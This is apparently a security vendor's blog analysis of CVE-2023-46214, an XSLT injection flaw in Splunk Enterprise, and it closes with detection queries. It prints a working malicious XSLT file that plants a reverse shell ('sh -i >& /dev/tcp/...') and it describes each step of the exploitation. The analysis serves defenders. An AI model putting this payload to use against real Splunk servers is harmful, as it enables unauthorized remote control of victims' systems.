Cybersecurity experts have uncovered a critical Remote Code Execution (RCE) vulnerability in Splunk, the data analytics platform that forms the backbone of many corporate IT infrastructures. Identified as CVE-2023-46214, this flaw could potentially allow attackers to infiltrate and seize control of systems processing vast troves of data, raising alarms across the tech community.
This blog offers a detailed analysis of the intricate mechanics of the vulnerability and its exploitation, shedding light on the urgent need for users to fortify their defenses against possible breaches.
Understanding CVE-2023-46214
The vulnerability stems from insufficient sanitization protocols for user-supplied extensible stylesheet language transformations (XSLT). Specifically, versions prior to 9.0.7 and 9.1.2 are at risk. This lapse in security measures presents an exploitable loophole for attackers, who could upload malicious XSLT content. If successfully executed, such an attack could lead to unauthorized remote code execution on the affected Splunk Enterprise systems, compromising data integrity and system control.
Vulnerability details
The vulnerability exploitation primarily stems from Splunk’s inadequate sanitization of user-supplied extensible stylesheet language transformations (XSLT). This flaw in Splunk's processing of XSLT allows the execution of arbitrary commands through specially crafted XSLT files. The exploit leverages this vulnerability by first generating a malicious XSLT file designed to initiate a reverse shell when processed. It then logs into the Splunk instance using legitimate credentials and uploads this file.
The critical part of the exploit involves utilizing Splunk’s built-in functionality to transform data using XSLT, where the script triggers the transformation of the malicious file. This action results in the execution of the script embedded within the XSLT, opening a reverse shell to a server under the attacker's control. Through this process, the attacker gains the ability to execute commands on the Splunk server, thereby exploiting the vulnerability for remote code execution. This exploit sequence highlights the importance of thorough input validation and sanitization in applications handling potentially executable data formats like XSLT. You can refer to the sample malicious XSLT file below that can create a reverse shell:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
<xsl:template match="/">
<exsl:document href="/opt/splunk/bin/scripts/shell.sh" method="text">
<xsl:text>sh -i >& /dev/tcp/{ip}/{port} 0>&1</xsl:text>
</exsl:document>
</xsl:template>
</xsl:stylesheet>
Exploitation steps
A publicly available proof of concept (POC) exploit is available for this CVE. We used this POC to reproduce the vulnerability in our local setup. The exploitation begins by sending a login http post request. Since this requires user credentials, an attacker needs to know the username and password of at least one registered user.
Figure 1 - Login HTTP request
After a successful login session is established, a malicious XSL file is uploaded which is the main payload of this exploit.
Figure 2 - Upload malicious XSL file
Response to the previous request returns a dispatch ID for referring to the uploaded XSL file. Since the vulnerable code path of insecure XSL transformation is reachable using getJobAsset function, a job search endpoint is called using an HTTP request with dispatch id as parameter. This triggers the insecure XSL transformation vulnerability in Splunk.
Figure 3 - Trigger XSL transformation vulnerability
In the final step, the code execution is triggered by executing runshellscript SPL command, which creates a reverse shell.
Figure 4 - Execute runshellscript SPL command
Figure 5 - Getting reverse shell upon successful execution
Publicly exposed Splunk instances
Splunk is a popular log analysis enterprise tool that is widely used in many organizations. There are thousands of publicly exposed Splunk instances that we can see using various search engines like Hunter, Zoomeye, and Shodan. Attackers can easily search for a target using these and can easily take advantage of the flaw if they have at least one user pass.
Figure 6 - Splunk instances exposed in public
Detection through Uptycs XDR
Does your system have a vulnerable version of Splunk Enterprise?
Uptycs Extended Detection and Response offers robust vulnerability scanning features for timely detection. Uptycs XDR stores vulnerability scan results in a dedicated table, accessible via SQL queries, as shown below:
select cve_list, package_name, package_version, cvss_score, os from vulnerabilities where cve_list = 'CVE-2023-46214'
Figure 7 - Detection through vulnerability scan
Once the successful exploitation has occurred, Uptycs XDR can identify and detect the presence of a reverse shell, thereby indicating and confirming the compromise of the system or network.
Figure 8 - Behavioral detection of exploitation
Conclusion
In conclusion, the exploitation of CVE-2023-46214 in Splunk underscores a critical security oversight in the handling of XSLT data. By crafting and uploading a malicious XSLT file to an inadequately secured Splunk instance, attackers can exploit the platform's native data transformation capabilities to execute arbitrary commands. This breach allows for a reverse shell to be established, granting the attacker remote control over the Splunk server. This vulnerability and its exploitation method are a stark reminder of the importance of rigorous input sanitization and validation in software systems.
